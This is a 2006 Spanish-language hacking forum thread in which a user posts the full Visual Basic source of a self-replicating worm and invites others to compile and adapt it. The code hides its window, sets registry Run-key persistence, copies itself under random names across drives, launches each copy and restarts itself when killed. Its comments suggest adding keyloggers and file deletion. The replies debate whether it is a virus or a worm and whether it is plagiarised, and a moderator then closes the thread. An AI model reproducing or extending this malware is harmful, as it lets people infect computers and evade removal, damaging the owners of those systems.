Normas del foro

Curso Hacker
Bienvenido(a), Visitante. Favor de ingresar o registrarse.
¿Perdiste tu email de activación? - Enero 08, 2009, 02:20:02
Inicio Ayuda Ingresar Registrarse
Visita: Articulos - Juegos Gratis - Da Foros

Comunidad Underground Hispana  |  Programacion  |  Programación  |  Visual Basic y Net (Moderador: ANYD00M)  |  Tema: Miren mi gusano y opinen 0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Miren mi gusano y opinen  (Leído 573 veces)
hackmexsatelite
Visitante
« en: Agosto 11, 2006, 08:48:14 »
Llevo como 1 semana programando este gusano pero mejor veanlo:

Citar
'ADVERTENCIA: este simple programa es muy peligroso una vez
'ejecutado, corralo bajo su propio riesgo.
'Este Codigo se difunde unicamente con fines didacticos
'aca no se borra no se sobreescribe no se sniffea no se
'abren puertos solo se muestra como un gusano se reproduce
'A MI ME MOLESTAN LOS VIRUS Y GUSANOS EN MI PC
'ASI QUE ES SU RESPONSABILIDAD LO QUE HAGA DE EL
'esta gusano fue elaborado por HackMexSatelite
'hackmexsatelite @hotmail.com
Dim carpeta

Public Sub CargarV(ByVal Ffile As String)
On Error Resume Next
'esta funcioncilla hace que el gusanito se meta en el registro
'de windows, asi cada vez que se prenda el sistema, estaremos ON-LINE
Dim objNew As Object
Set objNew = CreateObject("WScript.Shell")
'creando el abjeto "en modo tardio", nos aseguramos para que
'no falle, por si la biblioteca WScript no estuviese instalada.
'Un virus con OCX esta muy expuesto a fallos
objNew.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\run\Explorer32", Ffile
'averiguen como lo pueden cargar como servicio
'eso si es mejor y tambien muy facil..... 1 renglon de codigo...
'pistas... objNew.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersio..........
End Sub

Private Sub Dir1_Change()
On Error Resume Next
Randomize
'contamos las carpetas de la unidad seleccionada
NroCarpetas = Dir1.ListCount - 1
'ahora elegimos una al azar
carpeta = Int((NroCarpetas * Rnd) + 1)
Dir1.ListIndex = carpeta
'esta rutina decide si busca una subcarpeta
If Int((10 * Rnd) + 1) > 2 Then
Dir1.Path = Dir1.List(carpeta)
End If
'esta es la carpeta donde se copiara el gusanito
carpeta = Dir1.Path
End Sub

Private Sub Drive1_Change()
On Error Resume Next
Dir1.Path = Drive1.Drive
End Sub

Private Sub Form_Load()
On Error Resume Next
'obviamente ocultamos la ventana
Me.Visible = False
End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
On Error Resume Next
'por si nos sacan con Ctrl + Del Nos volvemos a ejecutar
'ADVERTENCIA una vez en ejecucion este gusanito es muy muy dificil de sacar
Shell App.Path & "\" & App.EXEName & ".exe"
'nos "Matriculamos" una vez mas por si nos sacan con msconfig - o con HackThis - etc
CargarV NuevoGusano
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
'llamamos a la funcion que nos da una carpeta
'donde nos copiaremos, ademas cada copia tendra un nombre diferente
UbicarCopia
NuevoGusano = App.Path & carpeta & "\" & crearNombre
FileCopy App.Path & "\" & App.EXEName & ".exe", NuevoGusano
'una vez copiados nos "Matriculamos" en el registro de windows
CargarV NuevoGusano
'ahora solo falta ejecutar el nuevo Gusanito Recien nacido
'larga vida al chiquitin...
Shell NuevoGusano
'seria mas de elite usar ShellExecute pero esto solo es basico

'aca pueden ir rutinas varias, como uso de correo, keyloggers
'borrado de files, etc....... pero eso sera otro dia.
'alguien de Elite prefiere en este punto agregar un Winsock
'y dejarlo en escucha de peticiones ....pero eso seria un
'troyano y no un gusanito.
End Sub

Function UbicarCopia() As String
On Error Resume Next
'esta rutina es para seguri reproduciendo el gusano
Randomize
NroUnidades = Drive1.ListCount - 1
disco = Int((NroUnidades * Rnd) + 1)
Drive1.ListIndex = disco
End Function

Function crearNombre() As String
On Error Resume Next
'esta funcion genera un nombre de 10 letras en uppercase(minusculas)
Randomize
For i = 1 To 10
letra = Int((24 * Rnd) + 65)
crearNombre = crearNombre & Chr(letra)
Next
crearNombre = crearNombre & ".exe"
End Function

Espero que les Guste pueden compilarlo y arreglarlo a su gusto


Porfavor Comenten

HackMexSatelite
En línea
chelocastillo1
Visitante
« Respuesta #1 en: Agosto 11, 2006, 09:16:56 »
En dos palabras: muy básico.

Además eso que vos hiciste no es un Gusano, es un Virus.
El Gusano además de reproducirse en toda la PC huesped, se reproduce a sí mismo fuera de la misma. Esa es la única diferencia entre Virus y Gusano.
« Última modificación: Agosto 11, 2006, 09:22:27 por CheloCastillo » En línea
hackmexsatelite
Visitante
« Respuesta #2 en: Agosto 11, 2006, 09:46:08 »
OK lo corrigo dentro de dos semanas ya posteo la version 1.1 (worm)

Espero que puedan aportar con ideas
En línea
arvin
Visitante
« Respuesta #3 en: Agosto 11, 2006, 10:04:07 »
"Tu" code es un plagio, ese code fue escrito por Hely [mordur]


 Angry
En línea
hackmexsatelite
Visitante
« Respuesta #4 en: Agosto 11, 2006, 10:14:10 »
No es un plagio porque le modifique algunas cosas

pero si admito mi error es un 50% mio

y otro 50% de Hely [mordur]

Pido disculpas proximamente saqare la version 1.1 para enmendar
este error
En línea
arvin
Visitante
« Respuesta #5 en: Agosto 11, 2006, 10:19:39 »
Pues no se a que le llames 50% tuyo, cuanto es 50% men?

code puesto por primera vez:

Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion

autor:

Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion


yo los veo iguales.....


las disculpas valen cuando admites tu error, no cuando compones tu error con otro error.


vale esperamos ansiosamente la segunda parte de ese 50%



saludos


AzRaEL
[NuKE] high council
En línea
Biocode
Habitual
*****
Desconectado Desconectado

Mensajes: 364



Ver Perfil
« Respuesta #6 en: Agosto 12, 2006, 07:58:34 »
En línea
Sh4k4
.
Colaborador
*****
Desconectado Desconectado

Mensajes: 566


SHAKA


Ver Perfil
« Respuesta #7 en: Agosto 15, 2006, 02:00:01 »
En Muchas palabras: JAJAJAJA negativo , errado Este ejemplo ES UN GUSANO y no un VIRUS cabe destacar que los virus SI se reproducen fuera del PC sino ve a tu enclipedia virika mas cercana y lo sabras...(diskets te suena, lan, inet!!!!!) al = que los gusanoz........

 lo que diferencia a uno de otro es que un V1RUS de verdad infecta introduce su codigo en otros archivos...

un GUZANO no... solo se auto copia en x lugar del PC

Por tal Razon es un GUSANO y si es basico de primero... HOM! SUCKERS! Cool
En línea
Arayashiki
arvin
Visitante
« Respuesta #8 en: Agosto 15, 2006, 02:06:18 »
que tiene que ver lo que decis? lo que se discute es el plagio, ademas el titulo dice que es un gusano y ves el code y efectivamente es un gusano, no entiendo tu irrelevante opinion sobre si no es un virus eso quedo muy claro desde el principio Wink


saludos
« Última modificación: Agosto 15, 2006, 02:07:39 por codelogman » En línea
Sh4k4
.
Colaborador
*****
Desconectado Desconectado

Mensajes: 566


SHAKA


Ver Perfil
« Respuesta #9 en: Agosto 15, 2006, 05:18:34 »
que que tiene que ver? pues una verdadera definicion sobre los virus y gusanos doy a desmentir a CheloCastillo por estar errado  es importante que todos aprendamos y no  de falsos datos por favor lee bien mi Azra  saludoz a puaz y a nuke .... HOM! Cool
En línea
Arayashiki
Hendrix
Visitante
« Respuesta #10 en: Agosto 15, 2006, 05:25:19 »
Puesto ke este post se sale de la tematica del Foro y puesto ke es un puro Copy&Paste.....


TEMA CERRADO.
En línea
Páginas: [1] Ir Arriba Imprimir 
Comunidad Underground Hispana  |  Programacion  |  Programación  |  Visual Basic y Net (Moderador: ANYD00M)  |  Tema: Miren mi gusano y opinen « anterior próximo »
Ir a:  


Ranking-Hits
Powered by SMF 1.1.7 | SMF © 2006-2007, Simple Machines LLC